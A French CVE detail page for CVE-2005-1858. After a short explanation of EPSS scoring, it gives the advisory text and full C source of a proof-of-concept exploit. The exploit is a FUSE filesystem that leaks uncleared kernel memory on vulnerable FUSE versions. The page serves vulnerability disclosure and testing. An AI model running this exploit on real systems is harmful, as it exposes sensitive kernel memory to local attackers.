CVE-2005-1858 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/13857/info FUSE is susceptible to a local information disclosure vulnerability. This issue is due to a failure of the kernel module to properly clear used memory prior to its reuse. This vulnerability allows malicious local users to gain access to potentially sensitive kernel memory, aiding them in further attacks. FUSE versions 2.2, 2.2.1, 2.3-pre*, and 2.3-rc1, running on Linux kernel versions 2.4, through 2.6 are affected by this issue. /* memfs.c: Proof of concept exploit for FUSE < 2.3.0 memfs.c is based on fuse/example/hello.c from Miklos Szeredi Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt Build: Copy memfs.c over hello.c and run make in the fuse base directory Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat /mnt/getmem/memfs ; If you see random bytes you are vulnerable. Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005 FUSE: Filesystem in Userspace Copyright (C) 2001-2005 Miklos Szeredi <miklos@szeredi.hu> This program can be distributed under the terms of the GNU GPL. */ #include <fuse.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <fcntl.h> static const char *memfs_str = ""; static const char *memfs_path = "/memfs"; static int memfs_getattr(const char *path, struct stat *stbuf) { int res = 0; memset(stbuf, 0, sizeof(struct stat)); if(strcmp(path, "/") == 0) { stbuf->st_mode = S_IFDIR | 0755; stbuf->st_nlink = 2; } else if(strcmp(path, memfs_path) == 0) { stbuf->st_mode = S_IFREG | 0444; stbuf->st_nlink = 1; stbuf->st_size = 4223; } else res = -ENOENT; return res; } static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t filler) { if(strcmp(path, "/") != 0) return -ENOENT; filler(h, ".", 0, 0); filler(h, "..", 0, 0); filler(h, memfs_path + 1, 0, 0); return 0; } static int memfs_open(const char *path, struct fuse_file_info *fi) { if(strcmp(path, memfs_path) != 0) return -ENOENT; if((fi->flags & 3) != O_RDONLY) return -EACCES; return 0; } static int memfs_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { size_t len; (void) fi; if(strcmp(path, memfs_path) != 0) return -ENOENT; len = strlen(memfs_str); if (offset < len) { if (offset + size > len) size = len - offset; memcpy(buf, memfs_str + offset, size); } else size = 0; return size; } static struct fuse_operations memfs_oper = { .getattr = memfs_getattr, .getdir = memfs_getdir, .open = memfs_open, .read = memfs_read, }; int main(int argc, char *argv[]) { return fuse_main(argc, argv, &memfs_oper); }